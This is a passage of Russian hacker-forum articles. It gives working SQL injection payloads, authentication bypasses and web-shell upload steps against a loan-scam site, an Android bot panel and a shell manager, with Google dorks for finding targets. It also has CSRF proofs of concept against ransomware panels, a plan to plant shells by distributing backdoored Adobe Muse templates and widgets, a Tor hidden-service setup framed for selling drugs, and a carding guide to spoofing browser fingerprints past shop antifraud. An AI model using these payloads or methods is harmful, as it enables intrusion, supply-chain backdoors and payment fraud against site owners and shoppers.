исходники sqlmap (ну или поснифать запросы через веб-прокси). Алгоритм для автоматизации простой: [*]Burp Proxy. Сохраняем интересный запрос в файл request.txt (ПКМ -> Copy to file) [*]Запускаем: sqlmap.py -r request.txt Можно поставить плагин для burp (https://code.google.com/p/gason/) и отправлять запрос из Burp Proxy в sqlmap двумя кликами. Это что касается автоматизации тестирования на sql-инъекции на одном сайте. Если вам нужно чекнуть на скули несколько десятков (сотен, тысяч) сайтов, то алгоритм, приведенный выше, вряд ли подойдет (если только вы не Дункан Маклауд). О глобальной автоматизации (и создании убер-комбайна по взлому сайтов) мы поговорим в следующих статьях. © r00t
  6. Поднять сайт в Tor. CentOS [2016]

    Устал продавать спайс во вконтакте? Пора бы уже и герычем банчить? Пацаны говорят, что надо поднять сайт в Торе, а то мусора-бля-пидарасы закроют внатури... Но ктоб знал, как саент этот в торе то поднять... Читай дальше, калека, если хочешь, чтобы дядя кробир научил плохому. Берем ибучую VPS с CentOS (жаль, но хостингер не подойдет). Заходим по ssh под рутом. Ставим Тор: yum install tor Правим файл: /etc/tor/torrc. Добавляем: HiddenServiceDir /var/lib/tor/site1 # каталог создаётся автоматическиHiddenServicePort 80 127.0.0.1:8080 Перезапускаем tor. sudo /etc/init.d/tor restart В папке появляется файл с именем домена: 123456rfmcz5tw66.onion Можно сгенерить интересненькое имя для домена (читаем ссылку №2). Далее правим /etc/httpd/conf/httpd.conf. Добавляем: Listen 127.0.0.1:8080 <VirtualHost 127.0.0.1:8080> ServerName 123456rfmcz5tw66.onion DocumentRoot /home/public_html/TOR_SITE/ </VirtualHost> Перезапускаем апач и тор. sudo /etc/init.d/tor restartsudo /etc/init.d/httpd restart Проверяем через tor-браузер.Пашет. Едем в Таджикистан за партией хмурого. Ссылки по теме. [1] http://cryptopunks.org/article/creat...source-in-tor/[2] http://cryptopunks.org/article/gener...onion+address/ © r00t
  7. Дарова, ̶ д̶е̶г̶е̶н̶е̶р̶а̶т̶ы̶ почаны! Если вы читаете эту статью, значит она была слита с ****, как слишком низкая по уровню. Ага. В коем-то веке, илита типа вас, может заценить, чо постят клевые пацики на приватном борде... Легальный слив, ога) Общался на днях (два-три месяца назад) с одним, как он себя называет, войт-хуетом. И после недолгого разговора, когда моему собеседнику (и мне тоже) стало совершенно очевидно, кто есть хуй киддис, а кто хуй илита, он добавил меня в ЧС. Ну в общем-то совершенно обыкновенная ситуация, если бы не одно НО. Нашел я в записях у этого товарища следующую вещь: УШЛА ЭПОХА ПРОСТЫХ SQL-ИНЪЕКЦИЙ!!!111 Ничоси, заявочка... В общем, решил я проверить столь категоричное утверждение этого молодого человека. И шо вы думаете? Я заметил таки такую весчь... Если мы возьмем следующий кодес: Code: <?php//NEW$link = new mysqli('localhost', 'root', '', 'someshit');$sql="SELECT * FROM users where id='".$_GET['id']."'";$result = mysqli_query($link, $sql) or print(mysqli_error($link)); //OLD$link = mysql_connect('localhost', 'root', '');mysql_select_db('someshit', $link);$sql="SELECT * FROM users where id='".$_GET['id']."'";$result = mysql_query($sql) or print(mysql_error()); И попробуем провести sql-инъекцию, то практически все будет абсолютно одинаково (что само по себе уже ставит под сомнение слова юного хеккера). Но есть различия в error based инъекциях - если в параметр id мы пихнем всем знакомое test.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2)))+--+ То увидим кое-что необычное: В случае с mysqli данные выводятся как в ошибке php-интерпретатора, так и в выводе ошибок от MySQL. Получается старое расширение было в чем-то даже секьюрнее нового (проверено и на PHP 7.). Те инъекции, что были раньше blind, при бездумном переписывании кода с mysql на mysqli, могут стать error based. Т.е. выходит, новое расширение не только не знаменует конец "эпохи простых SQL-инъекций", но даже в чем то означает начало "эпохи еще более простых SQL-инъекций". Такие дела. © r00t
  8. Ломаем псевдокредиты [2017]

    Как всем известно, есть около 400 способов относительно честного отъема денег у народа. Сегодня мы вам расскажем еще об одном. Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX. Суть наебки в следующем: [*]Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами). [*]Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные). [*]Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте). [*]Жертва оплачивает комиссию, но кредит почему-то нельзя получить... [*]??? [*]PROFIT Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан. Обход авторизации. В коде много пиздеца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php: Code: <?php include('../settings/config.php'); include("../include/class.pager.php"); include("../include/variables.php"); include("../antixss.php"); if(!isset($_SESSION["adminusername"])) { header("location: index.php?mg=session"); }?> Надо было лишь дописать exit. Конечно, это не спасло бы от похека, просто это только упрощает нашу работу. Все что нужно - просто отключить редиректы (или лазить через бурп и менять ответы с 302 на 200) и можно уже шариться по админке: И мы уже можем палить юзеров: /administrator/userlist.php Узнаем id: Теперь тащим логин/пароль: /administrator/edituser.php?action=edit&uid=221 Просматриваем код странички, пароль там лежит как есть, в качестве логина используется почтовый ящик. Заходим под данными пользователя в кабинет (/login.php): SQL-инъекция Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде: Code: if(isset($_GET["Go"])){ $sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");//прочее Старая добрая SQL-инъекция, для успешного похека кодируем в base64 строку: id`=-1 uNiOn sEleCt 1,2,username,4,5,6,7,8 FrOm adminlogin # И делаем запрос: /support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIsdXN lcm5hbWUsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA== Получаем логин - admin, теперь надо получить пароль: id`=-1 uNiOn sEleCt 1,2,password,4,5,6,7,8 FrOm adminlogin # Кодируем: /support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIscGF zc3dvcmQsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA== Видим: Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку... Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл). Upload shell Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php: Code: $output_dir = "userimg/";$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");$extension = @end(explode(".", $_FILES["myfile"]["name"]));if(isset($_POST['upload'])){ //Filter the file types , if you want. if ((($_FILES["myfile"]["type"] == "image/gif") || ($_FILES["myfile"]["type"] == "image/jpeg") || ($_FILES["myfile"]["type"] == "image/JPG") || ($_FILES["myfile"]["type"] == "image/png") || ($_FILES["myfile"]["type"] == "image/pjpeg")) && ($_FILES["myfile"]["size"] < 504800) && in_array($extension, $allowedExts)) { if ($_FILES["myfile"]["error"] > 0) { echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>"; } if (file_exists($output_dir. $_FILES["myfile"]["name"])) { unlink($output_dir. $_FILES["myfile"]["name"]); } else { $pic=$_FILES["myfile"]["name"]; $conv=explode(".",$pic); $ext=$conv['1']; //move the uploaded file to uploads folder; move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext); Просто меняем mime-type и заливаем шелл shell.php.jpg. Далее заходим по адресу /userimg/username.php и вуаля: Шик. Блеск. Красота. Найдем еще больше таких скриптов: inurl:login.php intext:Открыть счёт intitle:"Личный кабинет"inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет" inurl:password.php intext:"Регистрация и отправка заявки на займ" И ломаем всех тех, кто завис в даркманя-мирке. © Lebron
  9. Ломаем Android-бот Abrvall [2017]

    Давным-давно мне попался в руки сорц одного андроид-бота. И разумеется, сорц был проанализирован вдоль и поперек. Автор бота - Conf, ныне в статусе кидалы. Поэтому, ломаем. Полное описание можете посмотреть на экспе. Говорят, что автор бота умер. Но это не точно. Через день после блека деньги с бтц-кошеля вывели. Ну вы поняли... Посмотрел я исходники и знаете, был весьма удивлен. Можно, конечно, говорить про XSS да SQL-инъекции (они были, разумеется). Но интереснее другое - в процессе анализа кода, я насчитал больше 20 способов заливки шелла. В папочке inject лежит добротная кучка инжектов под банки, платежки и соцсети. Рассмотрим кусок кода одного из них (/inject/akbank/verify.php): Code: <? $acoount = ""; if(isset($_REQUEST["uniqid"])) { $uniqid = $_REQUEST["uniqid"]; $acoount .= $uniqid."|";} if(isset($_REQUEST["packet"])) { $pack = $_REQUEST["packet"]; //$acoount .= $pack."|"; $acoount .= "www.akbank.com|";} if(isset($_REQUEST["email"])) { $email = $_REQUEST["email"]; $acoount .= $email."|";} if(isset($_REQUEST["login"])) { $login = $_REQUEST["login"]; $acoount .= $login."|";} if(isset($_REQUEST["password"])) { $passwed = $_REQUEST["password"]; $acoount .= $passwed;} include_once("../../config.php");$link = mysql_connect($mysql_host, $mysql_user, $mysql_pwd);if (!$link) { die(mysql_close($link));}mysql_select_db($mysql_db) || die(mysql_close($link));mysql_query("INSERT INTO stata (imei, carta) VALUES ('$uniqid', '') ON DUPLICATE KEY UPDATE imei = '" . $uniqid . "', carta = '1'") or die(mysql_close($link));mysql_close($link); file_put_contents("../tds/temp/".$uniqid, $acoount."rn", FILE_APPEND | LOCK_EX);if(is_file("../../temp/needinject".$uniqid)) { unlink("../../temp/needinject".$uniqid);}file_put_contents("../../temp/stopinj".$uniqid, ""); Все здесь прекрасно - нет никакой фильтрации и сходу идет запись в файл.И что еще прекраснее, в 23 папках лежит схожий verify.php с такими же багами: Если этого мало, то в корне бота есть savephone.php, sendsms.php и comment.php с аналогичными багами (вдобавок надо только подделать реферер). Но вернемся к файлу verify.php. Льем заливалку GET-запросом: http://abrvall/inject/akbank/verify.php?uniqid=312468399102471235.php&email=<fo rm method=post enctype=multipart/form-data><input type=file name=file><input type=submit></form><?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?> Переходим на заливалку: http://abrvall/inject/tds/temp/312468399102471235.php Еще пара манипуляций и шелл залит: Читаем файл config.php в корне, тащим логин/пасс админа, заходим и оставляем доброе послание: Можно, конечно, сделать что-то менее палевное и куда более веселое, но это уже на ваше усмотрение... © Lebron
  10. Криптолокер Cerber Ransomware [2016]

    Пару дней назад, возвращаясь с очередного сбора иллюминатов (где было наконец-то решено, что есть детей от 1 года не западло), я случайно встретился со странным человеком в плаще. Он долго смотрел на меня из темноты. Черная шляпа не давала разглядеть его лицо, и я мог видеть только то, как свет от фонаря отражается в паре зрачков. Я чувствовал, как он сверлит меня взглядом. Когда я уже начал всерьез опасаться за сухость своих штанов, он передал мне пакет, перевязанный бечевкой, и растворился в темноте... Мне не впервой встречаться с разными злодеями. ООО "Кробер и гомункулы" никогда не пасует перед опасностью. Я быстро добежал до дома, поменял штаны и изучил содержимое пакета. Там был только логин/пасс, линк на криптолокерную партнерку и пакетик спайса больше ничего. Потными ладошками я набрал адрес в тор-бравзере... Внутри. Вход в панель. Легко преодолеваем этот несложный этап. Структура панельки такая: 1. Dashboard 2. Profile 3. Statistics Installs Profit Referrals Xml 4. Payments 5. Files 6. Support 7. FAQ 1) Dashboard: 2) Profile: 3) Statistics > Installs: 4) Statistics > Profit: 5) Statistics > Referrals (рефералы, пассивный доход, все дела): 6) Statistics > XML: 7) Payments: 8) Files (Можно наделать кучу SubID, для работы по разным целям): 9) Files > Price Settings (можно очень тонко настроить сумму выкупа, в зависимости от того, сколько файлов было закриптовано): 10) Support (мне на тикет ответили в течении дня): 11) FAQ (к слову, вопросов-ответов не так уж и много): Панель на bootstrap, все удобно, красивенько. Расширенная статистика, рефералы, лендинг с детальнейшим мануалом по оплате выкупа на нескольких языках, выгрузка отчетов по xml, да и за целый месяц работы алгоритм криптолокера так и не был взломан - все это говорит о серьезном подходе. Как говорят овнеры, средний конверт примерно от 0.5% до 3%, что вполне соответствует действительности. Запуск. Человек в черной шляпе вновь связался со мной и предложил мини-квест - узнать, куда отстукивает криптолокер. Хотя мой опыт в подобных делах и ограничивался только ловлей пинчей да уфров, но чем черт не шутит (как оказалось в дальнейшем - ничем). Для проверки, я добавил на виртуалку несколько файлов добытых с компа одного кул-хацкера. На скриншоте содержимое одного файленга, особенно важного: Запускаем cerber.exe, ждем некоторое время и... А это то, что осталось от того самого файла (SuperSecretPasswords.txt): Я посидел немного в WireShark и увидел только кучу одинаковых UDP запросов на IP-адреса из одной подсети. С достоверностью можно сказать только то, что инфа об установке уходит на один (или несколько) из тысяч IP-адресов. Это как искать иголку в стоге сена. Получается, надо мной просто издевались, когда предложили узнать куда отстукивает локер. Можно конечно списать все на мою неопытность, но настоящие ресерчеры пришли к таким же выводам (http://blog.malwarebytes.org/intelli...ew-but-mature/) - практически нереально понять куда отправляет инфу локер. Файлы шифруются очень быстро, и вдобавок все теневые копии (на Win 7, 8, 8.1 без предупреждения UAC) удаляются (естественно, что сей факт благоприятно влияет на конверт): Одним словом - сатанинское творение, не иначе. Ковыряния. Поменяв еще одну пару штанишек, я решил поподставлять кавычки и скобочки. Правда, сначала пришлось поколдовать с бурп-сьютом. Проковыряв примерно 2 дня, к сожалению, я ничего толком не нашел. Файл robots.txt, нескольких артефактов вроде log.txt и 3 простеньких CSRF. Одна позволяла сменить jabber, вторая - удалить биткоин кошелек для выплат, третья - сменить кошелек для выплат (сталобыть самая профитная): Code: <html><h1>YOUR BITCOINZ ARE BELONG TO US</h1><iframe style="display:none" name="csrf-frame"></iframe><form method='POST' action='http://cerber****.onion/crb/profile' target="csrf-frame" id="csrf-form"><input type='hidden' name='payment[bitcoin_address]' value='1111RedBear111RedBear111111RedBear'><input type='submit' value='submit' style="display:none"></form><script>document.getElementById("csrf-form").submit()</script></html> Мало того, что это CSRF, так еще и жертва должна перейти по ссылке через тор-браузер. В общем, это было бы довольно сложно эксплуатировать (а сейчас уже все пофиксили). Конечно, тот факт, что я практически ничего не нашел, не исключает того, что какие-то уязвимости есть. Следует учитывать, что мой профессиональный и интеллектуальный уровень оставляет желать лучшего - например, однажды я решил покормить батон белого хлеба вискасом. Fin. © r00t
  11. Криптолокер Radamant [2015]

    Буквально пару дней назад, стучится мне какой-то наркоман в жаббер. Говорит, мол есть у него улетная спайсуха с новейшей формулой. И формула настолько крутая, что чтобы упороться, не надо даже курить эту спайсуху, а надо только скачать файл с ней и два раза по нему кликнуть. Ну я и кликнул два раза. В общем... Прогрузили мне криптолокер, редиректнули на лендинг, где на ломаном немецком написали, что если админку на баги не проверишь, то кабздец всем твоим файлам: А мне есть что терять... Пришлось проверять. Телепатическим сигналом мне были переданы логин/пароль в админку и ссылка на сендспейс с исходниками панели. Зашел: Осмотрелся. Список жертв безумца, отсортированный по странам: Список расширений файлов, который будут зашифрованы (всего - чуть больше тысячи): Список ботов: Инфа по отдельной жертве: Общая статистика (к слову, могли бы объеденить с Home): И наконец, настройки: Сразу привлекло внимание то, что для того, чтобы задать новый пароль, не нужно знать старый. Проверил - токенов никаких нет. Налицо С̶Ы̶К̶А̶ CSRF с возможностью смены пароля админа. Накидал Poc: Code: <html><h1>НАША СЛУЖБА И ОПАСНА И ТРУДНА...</h1><iframe style="display:none" name="csrf-frame"></iframe><form method='POST' action='http://radomant/?setting' target="csrf-frame" id="csrf-form"><input type='hidden' name='select' value='1'><input type='hidden' name='login' value='FSB'><input type='hidden' name='password' value='1337'><input type='hidden' name='cpassword' value='1337'><input type='hidden' name='page' value='100'><input type='submit' value='submit' style="display:none"></form><script>document.getElementById("csrf-form").submit()</script></html> Тем же способом можно сменить кошелек для выплат или произвести манипуляции с ботами (удалить бота, расшифровать файлы, сменить ключ и т.д.). После этого прогнал весь код регулярками. SQL-инъекций, LFI/RFI, RCE, манипуляций с файлами - всего этого нет. UPDATE. Мой фейл, проглядел sql-инъекцию (https://infoarmor.com/wp-content/upl...mant-FINAL.pdf). Помню, что смотрел на ту же самую функцию... Лохпидр. Full Path Disclosure (вывод в ошибке): http://radamant/inc/home.phphttp://radamant/inc/main.php http://radamant/inc/menu.php На этих страницах бесконечный редирект: http://radamant/inc/login.ok.phphttp://radamant/inc/login.error.php http://radamant/inc/logout.php Еще я не понял, что это такое: Должно быть планировалась партнерка, но ее либо не дописали, либо решили не писать. Увидеть можно это дело, если убрать все параметры из URL. Сохраняет непойми куда (http://radamant/profile/save/ - 404). Вот и все. P.S. Я уверен, что к моменту публикации статьи все баги будут исправлены, а ключ для расшифровки моей восьмидесятитерабайтной коллекции порнухи с карликами-осьминогами в костюмах из кожи гомо-эмо-школьников, играющих в CS с кривыми читами, которые им написал быдлокодер-аутист Анатолий, четвертый год лечащийся от алкоголизма внутривенными инъекциями мытищинского метамфетамина все таки будет получен. © r00t
  12. Ковыряем ~ShELL EnSlaVeR~ [2015]

    Давным давно ходит по разным форумочкам менеджер шеллов - Shell Enslaver. В переводе с пиндосского - "шеллов поработитель", а также рабовладелец (и сталобыть угнетатель). Софт давно слит в паблик, и как-то поздним вечером я решил поковыряться в нем своими сальными от волнения лапками. Ковырял я не очень долго, но успел найти много всякого... Активные XSS При добавлении шелла можно вызвать XSS. 1) URL: http://stark.in/wso1.php?#'>http://stark.in/wso1.php?#","123")><script>alert(1)</script> 2) PASS: #","123")><script>alert(1)</script> 3) BACKDOOR: http://stark.in/wso1.php?#","123")><script>alert(1)</script> 4) Добавление бекдора: Пихаем вот энто вот: http://123.ru/123123"><script>alert()</script><br style=" 5) Добавление коммента: Пихаем такое: 123123"><script>alert()</script><br style=" 6) XSS при добавлении шеллов через файл реализуется примерно также как и в остальных случаях. Просмотр содержимого папок В этих папках не лежит .htaccess, нет пустых index.html: http://framer/archive/http://framer/dreport/ http://framer/temp/ Т.е. в большинстве случаев, можно увидеть отчеты и сходу спиздить шеллы и прочее. Обход авторизации Если не подходит дефолтная пара логин/пароль (root/toor), все равно есть возможность получить доступ к самой панели. Проверка проходит в этом участке кода (файл init.php): Code: if( (basename($_SERVER['REQUEST_URI']) != "login.php") && ((@$_SESSION['login'] != ADMIN_NAME) || (@$_SESSION['hash'] != ADMIN_HASH)) ) { header('Location: login.php'); exit;} Обратите внимание на первую часть условия - подразумевалось, что если страница, на которой мы находимся != login.php и сессии админа нету, то нас перекинет на login.php. Но мы ведь можем влиять на $_SERVER['REQUEST_URI']. Надеятся, что функция basename защитит от непрошенных гостей было бы слишком наивно: http://framer/index.php/login.php И мы уже видим то, что нам не положено было видеть: Да, корявенько но все функционирует... Не хватает только стилей. Изменим запрос еще немного: http://framer/index.php?ololo=/login.php Вот теперь все как надо... Заливка шелла Залить шелл? Проще простого: Выделяем хотя бы 1 шелл галочкой в меню, жмем upload. Имя не меняется, шелл будет лежать в папке http://framer/temp/ Если используете обход авторизации, то придется лишь немного изменить запрос (все по аналогии) в Burp Suite или чем вы там пользуетесь... Как найти цели? Когда мы уже владеем всей необходимой для похека информацией, нам остается только найти как можно больше этих самых енслейверов. Способ 1. robots.txt по умолчанию в менеджере не лежит, поэтому можно попробовать гугл-дорки: intitle:"~ShELL EnSlaVeR~" intext:"Autorization"intitle:"~ShELL EnSlaVeR~" inurl:login.php Все что там можно было найти, уже давно поломано. Прочие способы на ваш страх и риск (не проверял, но теоретически могут сработать): Способ 2. Используем скриптокиддовый интеллект (он же СИ). Постим по всем форумам и шлако-хеко-саентам этот менеджер шеллов, добавив небольшую стучалочку на Js, чтобы только узнать линк к фреймеру. Плюс в том, что не надо пихать всяких палевных бекдоров и вообще как-то менять php-файлы (риск улететь в блеклист минимален, ога). Способ 3. Также предполагает использование умопомрачительных навыков СИ. Опрашиваем всех знакомых ламеров/недохеккеров, на предмет того, пользуется ли кто данным менеджером. Если таковые имеются, то через некоторое время просим продать/дать погонять 1-2 шелла. Дописываете в начало шелла такую штучку: Code: $fh = fopen("log.txt","a");fwrite($fh, $_SERVER['HTTP_REFFERRER']);fclose($fh); И пишете благодетелю: "дружок, там на шелле детское порно, чот не пашет, проверь". Подло обманутый вами ламер (детского порно на самом деле там нет, так ведь?) заходит в шелл и палит в реферере адрес своего менеджера шеллов (если конечно он не отключил подстановку реферера в браузере и заходил именно через энслейвера). Вы же, мерзки потирая рученки, уже можете творить непотребства. Способ 4. Сдаете огромные списки на чек покупателям, внедрив заранее js-код. Если кто-то из покупателей шеллов использует shell enslaver для чекинга этих списков, то вы легко сможете узнать адрес фреймера и далее по списку (даже кук угонять не надо). Как видоизменение этого варианта - дописываете в начало каждого своего шелла стучалку, как в прошлом способе. Способ 5. Вы ищете чужие шеллы на своих доступах. Найденные шеллы не удаляете, а перезаписываете в них вместо кода шелла, код записывающий реферер. И ждете удачного улова. Вроде все. Иногда и "поработитель" может быть порабощен. © r00t
  13. Добываем шеллы с Adobe Muse [2015]

    В данной статье будет описано, как используя самую малость серого вещества, получить под контроль сайты, создатели которых не используют серое вещество в принципе. Пролог Перед тем, как начать свое повествование, хочу процитировать одного болгера: Мне часто приходится слышать от коллег и учеников: «я умею рисовать в Photoshop, при этом терпеть не могу код! Мне не хочется разбираться в html и css.» И еще: К счастью для дизайнеров, у которых не складываются отношения с версткой, относительно недавно появилось отличное решение от Adobe — программа Adobe Muse. Ну он там еще много понаписал, это не так важно. Суть сводится к тому, что с появлением Adobe Muse, появилось большое количество клепателей сайтов, которые не знают даже html (!). Еще стоит учесть тот факт, что в Muse чаще делают не сайты, а свои собственные лендинги со слайдерами и параллаксом. Это весьма интэрэсная ситуация, которой можно воспользоваться. Шаблон Можно ли залить шелл в сайт созданный в Muse? Да. Только это надо делать заранее) Самый простой способ - это на этапе создания/редактирования шаблона просто закинуть в него файл с шеллом. Он появится во вкладке ресурсы (причем, чем длиннее название, тем лучше - расширение затирается): Затем, при экспорте шаблона в html или при заливке по фтп, мы можем заглянуть в папку assets: Там и будет лежать наш шелл. Наш гаденький план такой: [*]Кардим/Воруем/Выцыганиваем шаблон с раздачи, складчины, у фрилансера, на сайте шаблонов. [*]Добавляем шелл в шаблон. [*]Распространяем шаблон всеми возможными способами (сливаем в паблек, барыжим и т.д.) [*]Гуглим по картинкам из шаблона (они должны быть достаточно уникальными). [*]Находим (следует из прошлого пункта) все сайты, которые сделаны на нашем шаблоне. [*]Проходим по пути http://site-kotoriy-sdelala-lalka.com/assets/wso2.php [*]??? [*]Profit! У данного метода есть один минус - мы не можем никак узнать, на каком именно сайте лежит наш шелл (разве что надеяться на то, что гугл проиндексирует все). Поэтому мы можем использовать другой метод. Вставляем в шаблон html-код (Объект -> Вставить HTML...) и пишем: Годный одепт уже смекнул что к чему и кодит в своем подземелье php-стучалку. Однако у данного метода есть один минус. На некоторых серверах в файлах с расширением .html не исполняется php-код. Т.е. будет такая вот фигня: Но на годных хостенгах все как надо: Лучшим решением будет объединить оба способа - добавить в страничку не похапе, а javascript-код, который будет открывать через аякс (тобишь в стелс-режиме) наш шелл, лежащий в assets (ну а в сам шелл дописать стучалку). После того, как мы проделали все наши манипуляции, делаем так: И наша подлая вставочка скрыта от ненужных глаз. (Можно еще вставить свой код, отредактировав Свойства страницы) Виджеты Допустим, что нас не устраивает метод с забекдориванием и впариванием шаблонов (не умеем мы их рисовать или времени нет). Нам помогут виджеты. Функционал Adobe Muse может расширятся за счет виджетов - специальных плагинов для Muse. Плагины может делать кто угодно, разобравшись в не самой сложной документации (есть уроки на русском). Прикол заключается в том, что после того, как мы добавляем виджет .mucow в muse, а потом его экспортируем в .mulib, то уже никто не доберется до изначального xml-кода. Потребность в новых виджетах существует постоянно. Один хороший виджет может использоваться в десятке шаблонов. Перенесите какой-нибудь css-трюк из буржуйского блога в виджет, потом выложите получившийся виджет в паблик (или попродавайте за шекели) и немного подождите. Еще как вариант - можно поискать .mucow-файлы (github, google), малость их подредактировать, переименовать и тоже выложить в паблек. Можно добавлять файлы в виджет, примерно так же, как было описано выше про шаблоны. Только добавленные файлы, до момента экспорта сайта в html, никто не увидит . Ну а учитывая, что "мы не хотим разбираться в коде, мы хотим играться со шрифтами"... Профит В Muse делают лендинги, на которые скорее всего будут лить трафик (с директов, адвордсов, доров, спамов, хаков, кряков, кук). И трафик может быть весьма недешевым... Забекдорив шаблон (или виджет), мы сможем в итоге перехватывать заказы, редиректить трафик, натравить на посетителей xenotix (или Beef) и делать прочие гадости. P.S. Кстати, попробуйте вставить такой html-код в muse: <script> var i=0; while(1337){alert(i);i++;}</script> © r00t
  14. Итак, данный пост для всех тех, кто ещё не постиг всех тайн Мадридского двора, гугла полу-привата и привата - ведь всё новое это хорошо забыто старое. Вы согласны со мной? Тогда поехали ? ! Как известно, Антифрод в шопах не спит, и если первый платёж, допустим, у вас пройдёт успешно и вам вышлют стафф, то второй и третий ордер наверняка отменят в большинстве случаев. Альтернатива в данном случае - поиск нового шопа, который ещё не знаком с нашим контингентом и только что пришёл в онлайн торговлю, и о котором я вам так же сегодня расскажу ?. На сегодняшний день таких вариантов достаточно мало, но они есть и стоят того, чтобы заняться поиском. Посему усаживайтесь поудобней запасайтесь колой, мы начинаем. Первый параметр, который немаловажен называется WebRTC. Да-да, я в курсе, что уже вы знаете об этом, в том числе и о методе его обхода, но самое интересное впереди - наберитесь терпения и дайте новичкам дорогу , а нам почёт, уважаемые старички. И так, для начала найдём инфу, что это за параметр и какие функции он выполняет - обратимся к википедии. WebRTC (англ. real-time communications — коммуникации в реальном времени) - проект с открытым исходным кодом, предназначенный для организации передачи потоковых данных между браузерами или другими поддерживающими его приложениями по технологии точка-точка. Его включение в рекомендации W3C поддерживается Google Chrome (и других браузеров на его основе), Mozilla и Opera. В плане антифрода стандарт WebRTC позволяет сторонним пользователям на раз определять IP- адрес пользователя сети, минуя программные заслоны VPN, TOR, SOCKS и других сетевых защитников. Чтобы решить данный вопрос у нас есть два варианта. Первый - отключить WebRTC. Немного информации о том, как это сделать: Введите в адресной строке about:config Найдите параметр media.peerconnection.enabled. Чтобы не искать вручную, можно использовать поиск, просто введя этот параметр. Выставьте в нем значение false. Но если он будет отключен, то это 100% фрод очки от шопа и с вероятностью 99.9% ваш ордер отменят, поэтому стоит его просто подменить. Как это сделать: Ставим фаервол с последующей настройкой: Нажимаем на “Advanced settings”. Далее нажимаем на “Windows Firewall Properties”. Далее во всех трех вкладках указываем в “Outbound connections: Block”. Далее идем в Outbound Rules и нажимаем на New Rule. Выбираем “Program”. Указываем приложение, которое должно выходить в сеть (Bitvise, proxyfier). Однако, не забываем, что основное приложение может использовать вспомогательные для подключения к туннелям или носкам(обычно putty или plink в папке с основным приложением) - их тоже нужно будет добавить в исключения. Указываем “Allow the connection”. Далее задаем название сети и закрываем настройку. Пробуем подключиться к интернету - в нашем случае при помощи “Bitvise” и туннелей. Если все сделали верно, то WebRTC укажет нам только внутрисетевой IP без внешнего. Примерно выглядеть должно вот так: Теперь наш webrtc имеет локальный адрес - этого вполне достаточно, чтобы данный детект не был обнаружен. В идеале также следует проделать следующие манипуляции : Идем в диспетчер оборудования и выбираем “Add legacy hardware” в менюшке “Action”, предварительно нажав на раздел “Network adapters”. Выбираем ручную установку. Выбираем “Network adapters”. Выбираем “Microsoft” и выбираем “Microsoft Loopback Adapter”. После установки идем в настройки этого адаптера. И указываем в его свойствах IP, который показал нам Whoer. В моем случае это 64.53.67.252. После чего сохраняем и запускаем командную строку. В командной строке прописываем следующее: route add (адрес туннеля/носка) mask 255.255.255.255 (default gateway) metric 1. Чтобы узнать Default gateway вписываем в командную строку “ipconfig”. Если строчка пустая, ищите адрес шлюза в настройках сети виртуалки. В моем случае я ввожу в командную строку: route add 64.53.67.252 mask 255.255.255.255 192.168.111.2 metric 1. Если все ок, то командная строка так и ответит =) Если вы получили ошибку с текстом “The requested operation requires elevation”, то запустите командную строку от имени администратора. Далее хотелось бы поговорить про еще один немаловажный параметр: WebGL — это контекст элемента canvas HTML, который обеспечивает API 3D графики без использования плагинов. Спецификация версии 1.0 была выпущена 3 марта 2011 года. Проект по созданию библиотеки управляется некоммерческой организацией Khronos Group. Для того, чтобы подменить данный параметр открываем браузер firefox, прописываем about:config и ищем данную строчку: webgl.enable-priviliged-extrensions, после чего меняем данное значение с false на true двойным кликом мышки. После этого необходимо заменить ещё один параметр. Прописываем в поиске: webgl.vendor-string-override, кликаем на неё и вводим, например, NVIDIA GTX 1080 или любое другое название видеокарты, после чего данный параметр подменён. Теперь рассмотрим подмену различных канвасов, в том числе уникального отпечатка аудио кодека и браузера: Собственно, линк на сам софт: https://www.sendspace.com/file/kamiun , называется он virtual audio cable. Устанавливаем данное програмное обеспечение на виртуальную машину ,после установки у нас будет доступно редактирование настроек, связанное с нашим аудио девайсом. Теперь нам необходимо выставить значение нового устройства по умолчанию: Чтобы настроить ваш аудио кодек более тонко, открываем саму программу virtual audio cable и меняем все значения: Далее рассмотрим подмену самого отпечатка браузера, называется он Browser Fingerprint. Чтобы подменить данный параметр нам достаточно будет скачать определённый плагин для лисы - называется он http-useragent-cleaner. Вот прямая ссылка https://addons.mozilla.org/ru/firefo...agent-cleaner/ . Добавляем в браузер ,устанавливаем и меняем данное значение в настройках браузера. Как работать с данным плагином можно прочитать в гугле, там есть достаточно информации. Итак,, это основные значения, которые можно подменить и о которых я знаю, но определенно далеко не все детекты, которые существуют. С такими настройками очень тяжело пробить фрод топового юс шопа - например, валмарт или майкрософт. Ибо когда антифрод работает на полном режиме, перед настройкой браузера желательно установить чистую виртуалку. Это может быть вин7 или 10, разумеется, английская. Для быстрой смены машин необходим 